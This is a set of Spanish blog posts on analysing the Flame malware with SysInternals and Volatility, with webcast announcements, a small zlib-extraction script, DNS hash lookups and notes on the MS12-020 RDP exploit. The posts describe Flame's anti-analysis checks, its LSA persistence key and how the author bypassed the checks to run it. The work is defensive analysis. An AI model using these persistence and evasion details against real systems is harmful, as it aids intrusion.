La semana que viene, más concretamente el martes 24 de Julio a las 16:00, tendré el gusto de dar otro Webcast sobre análisis de Malware orientado principalmente a Administradores de Sistemas.

Como en el otro Webcast, se verán las capacidades de las herramientas de SysInternals así como sus novedades añadidas y funcionalidades que ayudarán a un administrador TI en la búsqueda y análisis de Malware. El guión completo más la URL de conexión lo tenéis en el siguiente párrafo.

En este Webcast se mostrará una primera aproximación sobre cómo los administradores de sistemas e investigadores de seguridad se pueden enfrentar a amenazas de tipo APT utilizando para ello las herramientas de Microsoft SysInternals.
Para esta sesión, se utilizará como demostración la reciente aparición de un Malware que ha dado mucho que hablar dentro de la comunidad de seguridad, así como en equipos de gobierno y fuerzas de seguridad del Estado: el Malware FLAME.
Con la información obtenida en esta sesión se podrá comprobar cómo los analistas de sistemas, así como administradores de seguridad, pueden utilizar estos datos para mitigar la amenaza utilizando para ello una arquitectura basada en Microsoft.

URL de conexión: https://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032521432&Culture=es-ES&community=0 

Os espero por allí!

Salu2 a tod@s!!

Mi amigo Joshua Sáenz, experto consultor en entornos corporativos, movilidad y monitorización, me ha comentado a razón de los Webcast que imparto esta tarde y mañana sobre Malware en entornos corporativos,  que va a dar el Viernes un Webcast sobre control de dispositivos móviles en entornos corporativos. Sin duda un tema muy interesante, y más ahora que hay tanta “libertad” por parte de los trabajadores de una empresa, de utilizar sus propios dispositivos como elementos de trabajo.

https://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032515457&Culture=es-ES

Esta opción de trabajo, que en muchas ocasiones puede ser beneficiosa para una empresa,  a largo plazo y en función de los trabajadores de la misma, puede ser un incordio. Y en muchas ocasiones, una pesadilla.

Para ello, Joshua obrará su magia, y explicará los entresijos así como problemas que se le pueden plantear a un administrador de sistemas cuando tenga que gestionar este tipo de dispositivos en una organización.  En el Webcast, Joshua utilizará como plataforma base System Center 2012 y Exchange Server 2010, centrándose en el control de los dispositivos, así como el control de la seguridad de los mismos.

Si queréis poner antecedentes al Webcast del Viernes, Joshua tiene publicados tres artículos bastante buenos sobre control de dispositivos en su estupendo blog ExchangeSpain, los cuales os linko aquí para su lectura!

Control de dispositivos móviles (I de III)

Control de dispositivos móviles (II de III)

Control de dispositivos móviles (III de III)

Otra cita que no os podéis perder!

Os veo esta tarde chavalería! Saludos a tod@s!!

Después de todo lo que se ha hablado del infame FLAME, poco de momento se puede hablar más, hasta que no salgan nuevos hallazgos sobre el tema. Lo que si es un hecho es que parece que este Malware ha sido el nexo de unión entre piques de soluciones Antimalware. Por un lado tenemos el post que publicó Mikko de F-Secure, en el que explícitamente nombra la amenaza de FLAME como una especie de LAMERADA con la originalidad de un “matón de colegio”.

Kaspersky, por su parte, no ha entrado en la pelea, y sigue deleitándonos con muy buenos artículos centrados en sus investigaciones sobre la supuesta amenaza (Que es lo importante), la cual, poco a poco, se nos va desvelando.

Por la parte de Bit9, han decidido realizar un Webcast (Ya terminado), en el que hacen conciencia sobre lo vulnerables que podemos ser ante este tipo de amenazas.  Son ellos también, los que han realizado un reporte “light” sobre FLAME, explicando en líneas generales (y comerciales) en qué consiste esta amenaza de tipo APT.

Yo por mi parte no voy a entrar a valorar si la metodología de ataque es buena o mala, si el código utilizado incorpora librerías no nativas del sistema, lo que convierte al Malware en un “gordito”, o si se basa en código de “otros”. Eso se lo dejo a los verdaderos profesionales del tema. Por otro lado, y puestos a ser un poco mamoncete podríamos decir que…

Mucho lamer, malware gordito y lento, pero nadie ha sido capaz de detectarlo en 4 años jaja

Desde Microsoft han reservado dos Webcast para hablar sobre amenazas de tipo persistentes (APT) que se puedan presentar y coexistir en una arquitectura Microsoft. Y me han pedido que si podía dar estas dos sesiones y aportar mi humilde opinión.

Como no quería entrar en debates sobre este tipo de amenazas, si son peligrosas o no, me he decantado por intentar aportar una visión más “administrativa” e intentar dar respuesta a ese colectivo tan olvidado de la mano de Dios… Los sufridos Administradores de Sistemas.

Así que estos dos Webcast , vayan dedicados a estos profesionales como la copa de un pino, que en multitud de ocasiones tienen que aguantar a todo un colectivo de personas con multitud de problemas…. Aclamando que el suyo es “el más importante”…

El primer Webcast irá dirigido al análisis de un Malware a través de las herramientas de SysInternals, así como otras herramientas menos conocidas, pero igual de interesantes y útiles. Todo el desarrollo de este Webcast, se complementará con demostraciones prácticas con este Malware, así que podréis ver, cómodamente desde vuestro curro, casa, bar, playa, etc..,  cómo utilizar herramientas nativas de Spectra para realizar esta primera valoración en un análisis dinámico de Malware.

El segundo Webcast va dirigido a descubrir, haciendo uso de la arquitectura existente, y con la información anterior, si la amenaza se ha extendido a otros equipos de la organización. Para ello hablaremos de Active Directory, PowerShell y por qué no…. De BATCH!! (Lorenzo no te lo pierdas!! )

Tanto en el primer Webcast como en el segundo, comentaré y referenciaré la ingente cantidad de buenos post redactados por compañeros de profesión como son Sergio de los Santos, Yago, Luis Delgado, Marc Rivero (Seifreed), el Maligno, etc…

Así que aprovecho también desde aquí para felicitarlos a todos ellos por tan buena información, así como el trabajo de redactarlo y publicarlo para todos. Sin estos artículos y sin la ayuda de alguno (Gracias Seifreed!) el trabajo de comprensión y adaptación me hubiese tomado el doble o triple de tiempo.

Webcast. Análisis de Flame con SysInternals (04 de Julio 16:00 horas)

En este Webcast daremos una primera visión de cómo administradores de sistemas e investigadores de seguridad, se pueden enfrentar a amenazas de tipo persistente (Advanced Persistent Threat), utilizando para ello las herramientas de Microsoft SysInternals.

Para la primera sesión, se utilizará como demostración la reciente aparición de un Malware que ha dado mucho que hablar dentro de la comunidad de seguridad, así como en equipos de gobierno y fuerzas de seguridad: el Malware FLAME.

Con la información obtenida en esta primera sesión, se podrá comprobar como los analistas de sistemas, así como administradores de seguridad, pueden utilizar estos datos para mitigar la amenaza utilizando para ello una arquitectura basada en Microsoft.

https://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032518505&Culture=es-ES&community=0

Webcast. ¿Amenazas a mí? Sácale partido a tu arquitectura (05 de Julio 16:00 horas)

A través de la información recogida y analizada en el Webcast anterior (Análisis de Flame con Sysinternals), se procederá a mitigar una posible amenaza, utilizando para ello la propia infraestructura Microsoft que posea un cliente específico. A lo largo de la sesión, se dará una visión global y ejemplos específicos como por ejemplo Active Directory o PowerShell.

https://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032518510&Culture=es-ES&community=0

Para teminar este post, y haciendo alusión a la palabra LAMER, utilizada para referenciar una amenaza, termino con unas palabras que me dijo un Administrador de Sistemas: “Una amenaza, por pobre que sea, es dañina por la propia definición de la palabra amenaza. No hay que olvidar que nosotros nos debemos a nuestros usuarios”.

Os espero la semana que viene!

Salu2 a tod@s!!

Disclaimer!!

Esta entrada sólo refleja mis pensamientos impuros, sin ninguna connotación técnica, y que sólo alimentan mi desquiciada mente. Dicho queda…

En el primer artículo, se vió cómo NO había que reproducir la muestra, si no era en un entorno totalmente “liviano” y sin ningún tipo de protección. Después, pasamos al segundo artículo, en el que se refleja la primera ejecución del bicho. Qué hace, cómo lo hace, y qué toca.

Hoy me gustaría pasar a un tema más personal, más íntimo, por lo que quedáis avisados de lo que no ha podido filtrar mi mente, y que hoy expongo aquí.

Revisando el código de uno de los módulos que generaba Flame, se encuentran partes que hacen referencia a Mutex creados por el mismo.

Imagen 1.- Referencia a Mutex en código Flame

Esto ni de lejos es nuevo, pero me ayudó bastante a la hora de poder hacerme una idea de cuántos procesos se encontraban infectados a la hora de una primera ejecución de Flame.

A estos Mutex, se le añade presumiblemente el PID del proceso que se encuentra infectado, tal y como puede verse a través de la herramienta, también de Sysinternals, WinObj.

Imagen 2.- Procesos implicados en la ejecución de Flame

En el caso de la imagen anterior, los procesos asociados son Explorer.exe, Services.exe y Winlogon.exe…. Casi nada…

Analizando dicha muestra, también me he encontrado con partes de código, que si bien no son idénticas a las encontradas en Stuxnet, poco le faltan… Este código, se aprovecha de vulnerabilidades antiguas y pequeños “trucos” que tiene el sistema operativo. Uno de ellos es la auto-ejecución en unidades extraíbles, y el otro es la posibilidad de jugar maliciosamente con enláces simbólicos en sistemas de ficheros NTFS.

Imagen 3.- Código de explotación muy parecido (por no decir igualito) al utilizado por Stuxnet

La versión bajo la que estoy haciendo las pruebas, creo que es la misma (MD5:bdc9e04388bda8527b398a8c34667e18) en la que se basan la mayoría de informes y noticias de Internet.

La versión que yo estoy utilizando, NO SE EJECUTA bajo ningún concepto si existen ciertas aplicaciones monitorizando el sistema. Ni al siguiente reinicio ni nada. Es más, ni lo intenta.

A la hora de realizar con éxito la primera ejecución, éste pregunta insistentemente por versiones específicas de productos de Kaspersky, tal y como se puede ver en la imagen extraída de Process Monitor.

Imagen  4.- Peticiones a productos específicos de Kaspersky

Lo curioso de esto, es que prácticamente en todas las muestras que va generando Flame, se encuentran peticiones de este tipo de producto, pero no de otras soluciones de seguridad.

Imagen 5.- Llamadas a directorios que generan productos de Kaspersky en porciones de código Flame

Si a todo lo anterior le sumamos a que parece ser que en el código de Flame ha aparecido un comentario un tanto “jocoso”, da que pensar. La noticia me ha llegado vía Full Disclosure. Yo, que no soy ruso, ni tengo ni pajolera idea del idioma local de allí… Interpreto un “Mentiroso, gracias Kaspersky”…. Que por favor me lea un Ruso y acabe con mi agonía….

Siendo no conspiranoico, puedo pensar que debido a que Kaspersky fue uno de los primeros en investigar Stuxnet, Duqu y ahora Flame, es posible que los creadores del bicho pusieran especial énfasis en productos de Kaspersky.

Otro punto a favor que le otorga la catalogación de Malware diseñado para la ciberguerra, es que todavía no se sabe muy bien si Stuxnet fue obra de la administración Bush, o por el contrario fue el Mossad… Mientras que algunos opinan que Stuxnet es obra de Bush/Obama, otros piensan de manera diferente.

Mucha gente opina que estamos asistiendo a un nuevo concepto de ciberguerra, tal y como apunta José Rosell, desde Security At Work, y que no se nos cuenta toda la información. Esto último, algo bastante lógico y normal, dentro de los cánones de la contención de masas y demás.

Que el Mossad e Irán siempre estén hostiándose… Es algo que, desgraciadamente, lo tomamos como normal hoy día…

Pero bueno… Qué carajo sabré yo, que todavía me emociono cuando veo The Goonies….

Un saludo a tod@s… Y siento la entrada de hoy!!

En el anterior artículo hablábamos de cómo NO habíamos podido ejecutar la muestra de Flame debido a algún problema técnico. La pregunta que terminé haciéndome era que por qué otros sí habían conseguido ejecutarla y yo no. Tocaba tirar de recursos!

En toda la documentación que he leído, se comenta acerca de los diferentes cifrados que utiliza Flame. Debido a que mis nociones de ingeniería inversa y reversing de Malware son bastante pobres, opté por analizar la información que se encontraba en el momento de la ejecución de Flame. Así que recurrí a la vía forense, y realicé un volcado de memoria segundos después de la carga de Flame a través de rundll32.

Como no quería errar en el intento, provoqué un BSOD en la máquina, a través de la herramienta de SysInternals NotMyFault.

El porqué de utilizar esta herramienta, y no otra, es debido a que quería “simular”, en la medida de lo posible, un error a través de un controlador, y no realizar una petición de volcado directamente desde alguna herramienta forense. Con esta acción, lo que intento es pasar desapercibido ante controles internos monitorizados por el Malware.

Una vez extraído el volcado de memoria, utilicé la archiconocida Volatility, para extraer el contenido de la memoria del proceso RUNDLL32, y rezar para ver algún contenido que me hiciese comprender el porqué de mi error.

Analizando el espacio de memoria utilizado por RUNDLL32, se hizo la luz…..

Parece ser, que en el código de Flame se encuentra una lista de aplicaciones consideradas “peligrosas” para el Malware. Si alguna de estas aplicaciones se encuentra en ejecución en el sistema, éste automáticamente se para.

Este control, parece que se establece a través de varias órdenes. Una de ellas se puede visualizar a través de la siguiente imagen:

Imagen 1.- Código malicioso

Existen otras clases muy interesantes. Algunas de ellas son las siguientes:

• LUA.CLAN.THREATENING_PROGRAMS
• HEADACHE.BoostConsumer
• GADGET.BEETLEJUICE_DATA_COLLECTOR_CONSUMER

La lista de aplicaciones es importante. Como podéis ver en la imagen siguiente, se encuentran numerosas aplicaciones conocidas por analistas y administradores de sistemas.

Imagen 2.- Algunas aplicaciones listadas por Flame

Como curiosidad, en una de las listas aparecen algunas soluciones de Antimalware. Imagino que Flame hace uso de estas rutinas para poder explotar mejor algunas de las vías de infección que utiliza.

Imagen 3.- Soluciones Antimalware listadas por Flame

Qué fallaba al intentar analizar la muestra?. Fallaba en uno de los trucos más viejos utilizado por el Malware, ya que yo tenía corriendo en la máquina Wireshark para capturar paquetes, y Process Monitor (procmon.exe) para monitorizar llamadas de sistema. Todo ello arrancado y esperando a la ejecución de Flame. FAIL!

Por otra parte, si se detecta algo “extraño”, Flame tiene opciones de auto destrucción. Según los analistas, esta clase es ejecutada de forma remota, y se concentra todo en una función llamada SUICIDE, la cual parece que está destinada a parar las acciones del Malware, así como a destruir posibles evidencias futuras.

Imagen 4.- Código SUICIDE

Una vez revisada de nuevo toda la información, me dispuse a renombrar toda aplicación que tuviese en la máquina para monitorizar la muestra, y así sí…. Flame inicia el vuelo sin importarle el idioma ni el sistema operativo.

Una vez arrancado, éste comprueba si existe el directorio MSSecurityMgr, situado en el directorio Program Files\Common Files. Si no existe, crea este directorio.

Imagen 5.- Creación del directorio Shared

Una vez creado el directorio, genera una serie de ficheros, los cuales se muestran en la siguiente imagen:

Imagen 6.- Ficheros generados por Flame

Para poder ver con mayor claridad quien se encuentra tocando estos ficheros, he utilizado la herramienta de Sysinternals Process Explorer, buscando las referencias (handle) al mismo. Para este paso, también se podría haber utilizado la herramienta, también de Sysinternals, Handle.

Imagen 7.- Proceso services.exe con handle a mscrypt.dat

Una vez generado el directorio y los ficheros, se empiezan a generar consultas al árbol de registro HKLM, en concreto a la siguiente clave:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SeCEdit

Después de realizar varias consultas, carga bibliotecas específicas relacionadas con la configuración de seguridad del sistema, tales como NTMARTA.DLL y SAMLIB.DLL, y modifica las claves de registro DefaultIdentifier y LastUsedIdentifier.

Imagen 8.- Modificación de la configuración de seguridad

A los pocos minutos de la ejecución, y viendo la cantidad de información que va “depositando” el bicho, intento identificar algunos ficheros generados por Flame, utilizando para ello la herramienta de Sysinternals sigcheck. Un extracto de la salida se puede ver en la siguiente imagen:

Imagen 9.- Verificación de firma con Sigcheck

Durante todo el tiempo que se estuvo ejecutando Flame, éste generó multitud de ficheros temporales en el directorio TEMP del sistema (C:\Windows). Estos ficheros, en un principio, no se encuentran manejados por ningún proceso en particular, y sólo se utilizan en un instante determinado.

Imagen 10.- Creación de ficheros temporales utilizados por Flame

Según el documento inicial de análisis de Flame, uno de los ficheros temporales, concretamente el fichero ~HLV473.tmp, contiene una lista de los procesos que se encuentran en ejecución. En el documento, se muestran secuencias de datos que hacen alusión a un formato de compresión llamado ZLIB.

Analizando este fichero, efectivamente se encuentran este tipo de secuencia de datos, por lo que me pongo a jugar con la biblioteca ZLIB de Python.

A la hora de generar un fichero con ZLIB en python, es posible indicar el grado de compresión con un valor numérico que va desde el 0 al 9. Generando un fichero con el valor 9 (Compresión máxima), las secuencias de datos que se muestran en el nuevo fichero, coinciden con las del fichero ~HLV473.tmp.

Aplicando un sencillo script en Python (En batch no he podido! ), es posible “ver” ciertos datos almacenados en este fichero.

Imagen 11.- Extracción de información comprimida en ZLIB

La forma de implementarlo ha sido bastante sencilla. Para extraer todas las secuencias de datos que coincidan con ZLIB y los métodos de compresión (Mínimo al Máximo) he implementado un FOR del 0 al 9 y generado 10 ficheros. Una vez realizado este paso, he extraído la secuencia inicial (Magic), y he implementado un cutre-script para poder leerlo. El cutre código, aquí:

#-------------------------------------------------------------------------------
# Name:        Flame Zlib
# Purpose:
#
# Author:      Silverhack
#
# Created:     11/06/2012
# Blog:   http://windowstips.wordpress.com
# Reference: www.crysys.hu/skywiper/skywiper.pdf
#-------------------------------------------------------------------------------
import zlib
import sys
from optparse import OptionParser
from optparse import OptionGroup

magic = ["\x78\x01","\x78\x5e","\x78\xda","\x78\x9c"]
offset = 0

def flame(fich):
    try:
        fread = open(fich,'rb').read()
        for i in reversed(magic):
            try:
                init_offset = offset
                while 1:
                    init_offset+=fread[init_offset:].index(i)

                    if init_offset >=0:
                        try:
                            print zlib.decompress(fread[init_offset:])
                            break
                        except:
                            init_offset+=1
            except:
                pass

    except IOError:
        print "No such file or directory...."
        sys.exit()

def main():
    #set up command-line options
    parser = OptionParser(description="Flame Zlib file read | http://windowstips.wordpress.com", version="FlameZlibRead 0.1")
    StandardExtractGroup = OptionGroup(parser, "Read Section", "Read files and search common ZLIB payloads")
    StandardExtractGroup.add_option("-f","--file",default=False,help="File name to perform search", action="store_true",dest="filename")
    parser.add_option_group(StandardExtractGroup)
    #grab options
    (options, args) = parser.parse_args()
    if options.filename:
        fflame =  args[0]
        flame(fflame)

if __name__ == '__main__':
    main()

Hasta la próxima!
Referencias

http://msdn.microsoft.com/en-us/library/bb499271(v=winembedded.51).aspx

Esta semana dedicaré una serie de entregas al análisis del Malware Flame. Espero que estas engregas sirvan para guiar al analista en su investigación, y que no cometa los mismos errores que estoy cometiendo yo!

Desde principios de este mes se conoce de la existencia de un malware que está ocupando todas las portadas de los blogs más importantes dentro del panorama de la seguridad. Personalmente, me enteré de este “elemento” leyendo una entrada en Hispasec escrita por el genial Sergio de los Santos, y que me mantuvo entretenido buena parte de un trayecto en metro.

Como me picaba la curiosidad, esa misma noche, me puse a buscar alguna muestra del Malware, y fijar algún día en la agenda para “jugar” con la misma.

Antes siquiera de “jugar”, me encuentro con otra interesantísima entrada de Luis Delgado, en la que explica básicamente el funcionamiento del bicho, así como un script en python, el cual determina una infección, en base a consultas al registro, así como a ficheros residuales que deja el propio Malware.

Ese mismo día, y desde el blog de AlienVault, Jaime Blasco nos deleita con una interesantísima entrada, hablando esta vez, de la posible “edad” del Malware. La muestra analizada por Jaime (MD5:bdc9e04388bda8527b398a8c34667e18), coincide con la que me dispongo a utilizar yo.

Días más tarde, me vuelvo a encontrar con otra noticia del mismo elemento, pero esta vez escrita por mi querido y siempre mordaz Yago. En esta entrada, habla de Flame y los certificados digitales, lanzando una primera aproximación acerca de la función principal de esa firma digital.

Una vez leída y releída toda la documentación existente sobre el Malware Flame, me he dispuesto a realizar un pequeño análisis del mismo, sólo por morbosa curiosidad, y de momento, este es el resultado.

Según el documento “oficial”, en el que se explica los entresijos de este bicho, si se desea reproducir la infección en una máquina para su análisis, se pueden realizar dos operaciones, las cuales, ofrecerían el mismo resultado.

La primera, y la más rápida, es ejecutar el fichero a través de línea de comandos, registrando el OCX a través de la herramienta rundll32.

Imagen 1.- Intentando arrancar Flame

La otra manera de arrancar la muestra, es ayudando al Malware a auto-ejecutarse en el próximo reinicio. Para llevar a cabo esta acción, se indica en el documento que Flame se carga como un proveedor de autenticación, tal y como se puede ver en la siguiente imagen:

Imagen 2.- Detalles del Malware Flame

Para realizar esta acción, en el documento se especifica la clave de registro sobre la cual hay que adjuntar la muestra, para su posterior carga.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

La máquina sobre la que me dispongo a realizar las pruebas de infección es un Windows XP Service Pack 3 en español 32 bits. El método de infección que escojo es el primero, es decir, registrando el Malware a través de línea de comandos, a través de rundll32.

Una vez ejecutado el comando, la herramienta rundll32.exe, logra arrancar el OCX. Observando el comportamiento a través de Process Monitor, me encuentro con que la primera acción que realiza el Malware, es establecer un valor aleatorio en la clave SEED de la siguiente ruta de registro:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\RNG

El valor que reside en la clave SEED, es el valor que utiliza la CRYPTO API de Windows, a la hora de generar números aleatorios.

Las siguientes acciones derivan en la consulta de drivers instalados, así como consultas al directorio TEMP del Sistema.

Una vez que realiza todas estas consultas, el Malware genera un Log en el directorio Windows llamado Ef_trace.log. Un aspecto curioso de esta acción, me lo encuentro a la hora de comprobar cómo Flame cambia el Timestamp del fichero, lo que dificultaría su detección en un análisis forense, por ejemplo.

Imagen 3.- Cambio de timestamp de fichero

Acto seguido, realiza operaciones de escritura sobre el mismo, tal y como se puede comprobar en la siguiente imagen:

Imagen 4.- Escritura de fichero Ef_trace.log

A la hora de abrir este fichero, me encuentro con información cifrada, tal y como apuntan varios blogs de seguridad, que hacen mención al fichero en sí.

Imagen 5.- Datos cifrados en Ef_trace.log

El siguiente movimiento de Flame es preguntar por los proveedores de autenticación, fecha y hora del sistema, parámetros relativos al nombre de máquina y configuración de red. Y cuando ha obtenido toda la información…. SE PARA!!

Como os podréis imaginar, mi cara de FAIL era un poema. Así que empiezo a tirar de documentación, para comprobar si había errado en algún movimiento. Las siguientes 3 ejecuciones se comportan de la misma manera a lo descrito en anteriores párrafos.

Analizando cada entrada arrojada por Process Monitor, me encuentro con una que me parece sospechosa, la cual se encuentra ya documentada por anteriores analistas. Cuando se intenta inicializar Flame, éste realiza una consulta a un directorio concreto, para ver si se encuentra un fichero. En la siguiente imagen podréis comprobar cómo la consulta devuelve un resultado de NOT FOUND.

Imagen 6.- Consulta a controlador wavesetup3.drv

Como no sabía por donde tirar, elucubro la posibilidad de que pueda haber alguna incompatibilidad debida al idioma. Si el Malware está diseñado para Windows XP, puede haberla, ya que en versiones anteriores a Windows Vista, el idioma viene integrado en el Kernel.

Instalado el sistema en inglés, y ejecutando la muestra sobre éste, se comporta de la misma manera que el anterior. ¿En qué falla? ¿Qué estoy haciendo mal?

Tras una pausa (en la que me cagué en todo…), tiro de teléfono y llamo a Seifreed, buscando alguna orientación. Aprovecho para darle las gracias desde aquí, ya que en este paso fui mucho más rápido gracias a él.

Marc me comentó que él sí lo había podido lanzar sin ningún problema, y que su máquina de pruebas era un Windows XP SP2 en Spanish, lo cual me dejó totalmente sin ideas. En su ejecución, el malware había realizado conexiones y se había propagado con éxito en el equipo. Ni problema de idioma, ni Service Packs, ni hostias…..

Mañana publicaré la segunda parte de este relato, y descubriremos algunos mecanismos de seguridad que realiza Flame para poder ejecutarse en un entorno “controlado”….

Saludos a tod@s!!

Referencias

http://msdn.microsoft.com/en-us/library/windows/desktop/aa379942(v=vs.85).aspx

www.crysys.hu/skywiper/skywiper.pdf

Hoy día, y debido a que cada año crece más todo lo relativo a vías de infección, han proliferado muchos servicios de consulta de Malware, y todo lo relacionado con la muestra.

Servicios como VirusTotal y ThreatExpert son buenas referencias a tener en cuenta, en tanto y cuanto a un auditor, le caiga el “marrón” de analizar un “bicho”.

A la hora de analizarlo, y viendo como está el mercado, en cuanto a horas reales y cuantificables que se dedican a un proyecto, a un auditor le puede solucionar la papeleta el consultar este tipo de servicios, a día de hoy imprescindibles y para mi gusto perfectos, para que le den una visión global sobre qué dicen las principales casas de antivirus sobre el mismo.

Buscando proyectos relacionados con el análisis dinámiso de muestras de manera online, y habiéndome leído la gran entrada de HackPlayers sobre análisis de Malware, me encontré con un proyecto en OWASP bastante interesante. Consulta de Malware en base a un MD5 o SHA1. Si miramos esta última frase con ojo crítico, pensaremos, nada nuevo no?

La solución que se aloja en OWASP, la cual puede consultarse de manera ONLINE, permite que puedas realizar consultas en base a un MD5 o SHA1 de algún fichero “sospechoso”, pero en vez de consultar a una Web, las consultas las realizas a través de peticiones DNS, adjuntando al final del MD5 o SHA1 un sufijo DNS.

La idea en sí es simple. Tener un repositorio de HASHES relacionados con ficheros maliciosos. Pero la ejecución cambia totalmente al ser consultas a través de DNS.

Desde un punto de vista “corporativo”, las consultas DNS se permitirán, casi por obligación. Como segundo punto es la información que obtenemos al realizar las consultas. Esta información va desde el supuesto tamaño de fichero que coincide con el HASH, así como información relativa al estatus de este. Si es Malware, desconocido, bueno, etc… Una de las respuestas más curiosas, es la relativa a la certeza. En la respuesta, dan un grado, en tanto por ciento, de lo cierto de que ese HASH sea Malware o no, en función del estatus, y de lo analizado.

Según el servicio, esta base de datos es mantenida con regularidad, y analizan bastantes muestras de ficheros maliciosos.

Para realizar una consulta, lo único que necesitamos es un cliente nslookup o dig.

Si lo que necesitamos es consultar si el HASH se encuentra incluido en la base de datos, se puede realizar una consulta de tipo A. La respuesta que obtendremos, en el caso de que el HASH se encuentre en la BBDD, es de 127.0.0.11.

En el caso de que se necesite extraer la información relativa al HASH, habrá que realizar la consulta, pero esta vez de tipo TXT, y añadiendo un sufijo específico, hash.sapao.net.

Imagen 1.- Consulta de HASH malicioso a través de DNS

Aunque desconocía por completo que se pudiesen realizar consultas de HASH a través de DNS, en la página del proyecto, existen enlaces a sitios y comunidades que ofrecen lo mismo. En el caso de Team Cymru’s, ofrecen el mismo servicio de consultas de HASH a través de DNS, operando de la misma manera que la anterior.

SANS, por su parte, tiene otro servicio muy similar, que, aunque no tan potente como los anteriores, tienen algo que lo hace bueno, y es que mantienen una base de datos de ficheros catalogados en WhiteList, por lo que, si se realizan consultas, se puede cotejar si un fichero es malicioso, o por el contrario se encuentra en una lista blanca.

Realizando una prueba con el MD5 un fichero, SANS me informa de que se encuentra listado en varias ocasiones. ¿Colisión? Por la pinta del tamaño, y viendo que son ficheros en texto plano, no sé, no sé…..

Imagen 2.- Consulta realizada en NIST Hash Database

Si realizamos esta consulta, pero a través de NSLOOKUP, la respuesta que obtendríamos sería la siguiente:

Imagen 3.- Consulta de HASH a través de NSLOOKUP en SANS

Curiosa forma de consultar por ficheros maliciosos no?

No sólo de la password vive el HASH!

Saludos a tod@S!

Llevaba este post (y unos cuantos más) medio escrito en los borradores que tengo. Y hoy he dicho… Cojones! De hoy no pasa!

Comenzar algo casi siempre es bonito. Muchas veces lo hacemos con miedo, otras con ilusión, otras porque no quedan más cojones, y otras… Pues porque sí.

A todo el que me conoce un poco, y me pregunta por el blog, siempre le comento lo mismo. Que utilicé el blog para no tener que acordarme de ciertas cosas que me parecían y parecen interesantes. La cosa llegó a más y hoy, años después, todavía estamos aquí. Me gusta almacenar cosas! Soy muy 1.0!!

Hoy día lanzo la vista atrás, y la de gente que he tenido el honor de conocer gracias a este blog ha sido inmensa. Si no hubiese tenido ese pensamiento 1.0, donde andaría!

Es por ello, que cuando alguien “se atreve” a exponer al mundo sus ideas y conocimientos, hay que aplaudirlo. Y más aún cuando lo que publicas es bueno. Y ese es el caso de mi compañero y amigo Daniel Romero.

Lo conocí en la guarida de I64, y desde aquel día, no he parado de aprender de él. Un tío que se atreve con todo en materia de seguridad, pero en especial por las auditorías Web. Gracias a él, he llevado con éxito alguna auditoría que otra, y siempre que le he pedido ayuda, tanto en lo profesional como en lo personal, ha estado ahí para echarme un cable.

Aunque a simple vista no os suene de mucho, él fue el desarrollador de la primera versión de Marmita, por ejemplo. Testigo que han cogido los Monstruos (y no de feos) Francisco Oca y Manu Fernández, creadores de la FOCA, entre otras herramientas públicas y privadas.

Pues bien, Dani abrió un blog no hace mucho, y como no podía ser de otra forma, no ha parado de crecer, gracias a su contenido, y su continente. Artículos perfectamente redactados (no como los míos jaja) y bajo un contexto de formación, dan salida a verdaderas “joyas en materia de seguridad”, como los artículos dedicados a la explotación de vulnerabilidades, o los artículos dedicados a la ingeniería inversa en arquitecturas basadas en X86. Estos artículos, han dado pie a que se publiquen en packetstormsecurity. Como diríamos en mi tierra…. FITE!!!

Así que nada, actualizar los RSS, y aplaudamos a otro “grande”.

Gracias por compartir tus conocimientos Dani!

Saludos a tod@s!!

Parte II

Parte III

Parte V

Hola a tod@s!

En esta penúltima parte, vamos a realizar la búsqueda de MUTANT (MUTEX), a través de la herramienta volatility, y realizando para ello un análisis forense offline.

Para poder realizar esta búsqueda con éxito, el gran Andreas Schuster implementa un módulo para volatility, a través del cual,  y resumido en pocas palabras, realiza una búsqueda de la cadena Mut? En memoria paginada y no paginada.

Imagen 1.- Búsqueda de cadena Mut?

 El resultado es increíble, extrayendo no sólo la dirección de memoria y el nombre del Mutant, si no también información interesantísima, como por ejemplo el identificador de proceso (Client ID) que lo tiene referenciado.

Imagen 2.- Aplicación del módulo MutantScan en Volatility

En la próxima y última entrega, analizaremos la memoria offline, e intentaremos buscar evidencias, partiendo de los mismos principios que el estudio de Andreas Schuster. Lo único que vamos a cambiar esta vez, será la herramienta. En vez de utilizar Volatility Framework, se utilizará la herramienta WinDBG (Debugging Tools for Windows), y realizando las consultas de forma manual.

Saludetes!!

Referencias

Searching for Mutants

_KMUTANT Structure

Poolfind (MDSN)

]]> http://windowstips.wordpress.com/2012/05/03/a-la-caza-del-mutante-parte-iv/feed/ 2 Juanito Volatility1 Volatility http://windowstips.wordpress.com/2012/03/19/algunas-notas-sobre-el-exploit-ms12-020/ http://windowstips.wordpress.com/2012/03/19/algunas-notas-sobre-el-exploit-ms12-020/#comments Mon, 19 Mar 2012 11:24:53 +0000 Juanito http://windowstips.wordpress.com/?p=915 ]]> Hola a tod@s!

Llevo unos 3 días informándome sobre la vulnerabilidad que afecta a todos los servicios de Terminal Server, y he aquí la información que puedo aportar al respecto de leer y releer scripts e información adicional.

Después de leer en mi RSS post similares con información relativa a exploits públicos, los cuales revelaban que habían conseguido ejecutar código remoto , me puse a buscar dichos exploits.

El único que he encontrado, a simple vista parece que lanza una shellcode escuchando en el puerto 4444 de la posible “víctima”. Nada más lejos de la realidad.

Estuve como 45 minutos de mi triste vida intentando buscar algún port de RDP en python sin éxito. Así que estuve leyendo cosas relacionadas con el proyecto FreeRDP, para al final, confirmarse la sospecha de que el script que se encuentra publicado en Pastebin es un puto fake como una catedral, y que me costó cerca de una hora de mi vida.

Imagen 1.- FAKE como una catedral

El siguiente script que probé,  es el ya archiconocido exploit chino, el cual lleva código robado de un partner de Microsoft. En un principio se habló de una filtración en ZDI, pero Microsoft ha acabado confirmando que se ha tratado de una filtración a través de uno de sus partners.

Este exploit funciona a la perfección, pero sólo en Windows 7. He probado en un Windows XP SP3 en Spanish, y no causa ningún efecto en el sistema, salvo que éste consume todos los recursos a nivel de CPU, permaneciendo al 100% en la ejecución del exploit.

Imagen 2.- 100 % CPU exploit ms12-020

